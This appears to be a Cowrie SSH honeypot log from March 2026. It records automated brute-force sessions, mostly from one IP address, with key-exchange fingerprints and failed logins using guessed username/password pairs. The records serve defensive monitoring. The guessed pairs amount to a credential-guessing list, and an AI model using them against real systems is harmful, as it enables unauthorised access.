{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.086334Z","src_ip":"34.85.163.94","session":"522db14b4405","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.222341Z","src_ip":"213.209.159.158","session":"6088fe9cb67c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.226013Z","src_ip":"213.209.159.158","session":"6088fe9cb67c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cassandra","password":"cassandrapass","message":"login attempt [cassandra/cassandrapass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:57.324018Z","src_ip":"34.85.163.94","session":"522db14b4405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:25:58.336955Z","src_ip":"34.85.163.94","session":"522db14b4405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wen","password":"wen","message":"login attempt [wen/wen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:07.188122Z","src_ip":"213.209.159.158","session":"6088fe9cb67c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:10.525955Z","src_ip":"213.209.159.158","session":"6088fe9cb67c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56202,"dst_ip":"159.203.135.109","dst_port":22,"session":"d96697f0930a","protocol":"ssh","message":"New connection: 213.209.159.158:56202 (159.203.135.109:22) [session: d96697f0930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:10.621356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:13.115770Z","src_ip":"213.209.159.158","session":"d96697f0930a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:13.118854Z","src_ip":"213.209.159.158","session":"d96697f0930a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"camera","password":"camera","message":"login attempt [camera/camera] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:22.881254Z","src_ip":"213.209.159.158","session":"d96697f0930a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:26.051925Z","src_ip":"213.209.159.158","session":"d96697f0930a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":23452,"dst_ip":"159.203.135.109","dst_port":22,"session":"bdb4e4eb2aa9","protocol":"ssh","message":"New connection: 213.209.159.158:23452 (159.203.135.109:22) [session: bdb4e4eb2aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:26.136996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:28.810581Z","src_ip":"213.209.159.158","session":"bdb4e4eb2aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:28.813219Z","src_ip":"213.209.159.158","session":"bdb4e4eb2aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"QWERTY","message":"login attempt [user/QWERTY] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:38.417842Z","src_ip":"213.209.159.158","session":"bdb4e4eb2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.0","message":"Connection lost after 16.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:42.128906Z","src_ip":"213.209.159.158","session":"bdb4e4eb2aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":31732,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5d56b993064","protocol":"ssh","message":"New connection: 213.209.159.158:31732 (159.203.135.109:22) [session: a5d56b993064]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:42.229219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:44.375514Z","src_ip":"213.209.159.158","session":"a5d56b993064","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:44.379212Z","src_ip":"213.209.159.158","session":"a5d56b993064","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"{","password":"{","message":"login attempt [{/{] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:55.132334Z","src_ip":"213.209.159.158","session":"a5d56b993064","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:58.475233Z","src_ip":"213.209.159.158","session":"a5d56b993064","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":35386,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d61ea68cf19","protocol":"ssh","message":"New connection: 213.209.159.158:35386 (159.203.135.109:22) [session: 6d61ea68cf19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:26:58.572091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:00.621228Z","src_ip":"213.209.159.158","session":"6d61ea68cf19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:00.625029Z","src_ip":"213.209.159.158","session":"6d61ea68cf19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alina","password":"alina","message":"login attempt [alina/alina] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:10.573554Z","src_ip":"213.209.159.158","session":"6d61ea68cf19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:13.779141Z","src_ip":"213.209.159.158","session":"6d61ea68cf19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":58190,"dst_ip":"159.203.135.109","dst_port":22,"session":"e896b45f90fd","protocol":"ssh","message":"New connection: 213.209.159.158:58190 (159.203.135.109:22) [session: e896b45f90fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:13.892196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:16.471846Z","src_ip":"213.209.159.158","session":"e896b45f90fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:16.475646Z","src_ip":"213.209.159.158","session":"e896b45f90fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"t","message":"login attempt [user/t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:25.948245Z","src_ip":"213.209.159.158","session":"e896b45f90fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.9","message":"Connection lost after 15.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:29.820119Z","src_ip":"213.209.159.158","session":"e896b45f90fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":61672,"dst_ip":"159.203.135.109","dst_port":22,"session":"edd5c4ab5ae1","protocol":"ssh","message":"New connection: 213.209.159.158:61672 (159.203.135.109:22) [session: edd5c4ab5ae1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:29.898641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:32.052413Z","src_ip":"213.209.159.158","session":"edd5c4ab5ae1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:32.056038Z","src_ip":"213.209.159.158","session":"edd5c4ab5ae1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"Password1","message":"login attempt [bot/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:41.511778Z","src_ip":"213.209.159.158","session":"edd5c4ab5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:45.227416Z","src_ip":"213.209.159.158","session":"edd5c4ab5ae1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2544,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8a1430a8bfd","protocol":"ssh","message":"New connection: 213.209.159.158:2544 (159.203.135.109:22) [session: c8a1430a8bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:45.310797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:47.663667Z","src_ip":"213.209.159.158","session":"c8a1430a8bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:47.667301Z","src_ip":"213.209.159.158","session":"c8a1430a8bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":43862,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc139ce281bd","protocol":"ssh","message":"New connection: 2.57.122.210:43862 (159.203.135.109:22) [session: cc139ce281bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:27:50.284849Z"}
